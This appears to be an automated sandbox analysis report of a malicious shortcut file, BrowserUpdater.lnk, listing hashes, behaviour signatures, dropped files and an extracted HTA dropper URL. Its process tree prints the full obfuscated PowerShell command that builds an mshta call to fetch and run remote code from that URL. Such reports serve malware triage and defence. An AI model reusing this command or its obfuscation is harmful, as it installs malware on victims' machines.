Resubmissions

07/08/2024, 21:06

240807-zxvl6sxfkf 10

06/08/2024, 20:12

240806-yzbfmssgqc 10

06/08/2024, 19:51

240806-yk45eaydrn 10

Analysis

  • max time kernel
    121s
  • max time network
    122s
  • platform
    windows7_x64
  • resource
    win7-20240704-en
  • resource tags

    arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
  • submitted
    07/08/2024, 21:06

General

  • Target

    BrowserUpdater.lnk

  • Size

    2KB

  • MD5

    7ed0b7e22f568d2eedaf956ba831d0a6

  • SHA1

    c073465e6ca109f2069f2e26f28525e66da54bee

  • SHA256

    7a6ad3868f0223896ceea378a056b2568ad6f6ca2e65baaa7b55e1033da3abd7

  • SHA512

    c718e67fb2554d7bbbac60a1a3dae6fe6bcdf4c06c0cababd8b623d52f1d306f9441c27deaaff269e129fb0dcecb17430480b1941b14d95a01d3ffd4c87887cd

Score
10/10

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

https://redr.me/g3boil/

Signatures

  • Blocklisted process makes network request 7 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\BrowserUpdater.lnk
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2552
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted $C='.dmsi:aLSretpobg3hl/'; &(-join($C[(-612+615),(909-903),(148-141)])) :* (-join($C[(-612+615),(909-903),(148-141)])); :* %\ (-join($C[(410-408),(-612+615),(429-412),(-438+449),(909-903)])); foreach($p in @((371-354),(-821+832),(335-324),(-207+219),(-654+657),(740-735),(-129+148),(890-871),(222-213),(-354+364),(-800+801),(683-674),(550-550),(261-259),(462-452),(938-919),(-453+468),(-790+806),(-864+878),(749-736),(-625+629),(626-608),(-363+382))){$Y+=$C[$p]}; %\ $Y;
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3060
      • C:\Windows\system32\mshta.exe
        "C:\Windows\system32\mshta.exe" https://redr.me/g3boil/
        3⤵
        • Blocklisted process makes network request
        • Modifies Internet Explorer settings
        PID:2728

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\CabC4B8.tmp

    Filesize

    70KB

    MD5

    49aebf8cbd62d92ac215b2923fb1b9f5

    SHA1

    1723be06719828dda65ad804298d0431f6aff976

    SHA256

    b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f

    SHA512

    bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

  • C:\Users\Admin\AppData\Local\Temp\TarC538.tmp

    Filesize

    181KB

    MD5

    4ea6026cf93ec6338144661bf1202cd1

    SHA1

    a1dec9044f750ad887935a01430bf49322fbdcb7

    SHA256

    8efbc21559ef8b1bcf526800d8070baad42474ce7198e26fa771dbb41a76b1d8

    SHA512

    6c7e0980e39aacf4c3689802353f464a08cd17753bd210ee997e5f2a455deb4f287a9ef74d84579dbde49bc96213cd2b8b247723919c412ea980aa6e6bfe218b

  • memory/3060-38-0x000007FEF5C9E000-0x000007FEF5C9F000-memory.dmp

    Filesize

    4KB

  • memory/3060-39-0x000000001B510000-0x000000001B7F2000-memory.dmp

    Filesize

    2.9MB

  • memory/3060-41-0x000007FEF59E0000-0x000007FEF637D000-memory.dmp

    Filesize

    9.6MB

  • memory/3060-42-0x000007FEF59E0000-0x000007FEF637D000-memory.dmp

    Filesize

    9.6MB

  • memory/3060-44-0x000007FEF59E0000-0x000007FEF637D000-memory.dmp

    Filesize

    9.6MB

  • memory/3060-43-0x000007FEF59E0000-0x000007FEF637D000-memory.dmp

    Filesize

    9.6MB

  • memory/3060-40-0x0000000002800000-0x0000000002808000-memory.dmp

    Filesize

    32KB

  • memory/3060-45-0x000007FEF59E0000-0x000007FEF637D000-memory.dmp

    Filesize

    9.6MB

  • memory/3060-46-0x000007FEF59E0000-0x000007FEF637D000-memory.dmp

    Filesize

    9.6MB